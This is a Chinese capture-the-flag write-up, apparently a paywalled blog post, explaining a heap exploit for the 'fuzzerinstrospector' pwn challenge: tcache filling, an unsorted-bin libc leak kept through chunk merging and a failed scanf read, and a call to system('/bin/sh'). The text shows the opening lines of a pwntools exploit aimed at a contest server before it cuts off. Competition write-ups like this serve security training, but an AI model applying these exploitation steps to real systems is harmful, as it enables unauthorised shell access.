DSCTF pwn 部分wp
原谅我懒,不想附图了,客官老爷们多包涵。
拿了第七:
出了两道pwn:

fuzzerinstrospector
Case 6 有带rdi的任意指针调用,只要泄露libc即可。
rdi指向的内容可控。
add函数和edit函数功能相似。add函数malloc指定大小0x108。
前八个字节是自己写进的东西,后面字节是类似于一个字典的东西。通过字典才能打印。
可以先free掉七个堆块进入tcache填满,然后delete堆块进入unsortedbin。
不过申请unsortedbin的时候,他似乎会先检查符合tcache大小,然后放进tcache再分配,这时候会清空fd,就不能达到泄露的目的。
所以我通过合并操作先让他与旁边堆块合并再与top chunk合并,保留下来了fd指针。
然后利用scanf读入失败,就不会给前八字节赋值,把fd保留下来了,然后泄露libc基址。
最后调用system(‘/bin/sh’)即可。
exp:
from secrets import choice
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
r = process('/mnt/hgfs/ubuntu/DSCTF/fuzzerinstrospector')
r =remote('39.105.185.193',30007)
libc = ELF('/mnt/hgfs/ubuntu/DSCTF/libc-2.27.so')
def menu(choice):
r.recvuntil(b"Your choice: ")
r.sendline(str(choice))
def add(index,content):
menu(1)
r.recvuntil(b"Index: ")
r.sendline(str(index))
for i in range(8):

这篇博客详细介绍了如何利用fuzzerinstrospector和rusty两个pwn题目中的堆溢出漏洞,通过泄露libc基址并调用system函数执行/bin/sh来获取shell。作者首先分析了程序的内存分配和释放行为,然后通过精心构造的堆块合并和off-by-one错误,成功泄露了libc基址。最后,通过fastbin attack实现了getshell。博客中还提到了一些在不同glibc版本下的技巧和挑战,以及解决方案。
最低0.47元/天 解锁文章
802

被折叠的 条评论
为什么被折叠?



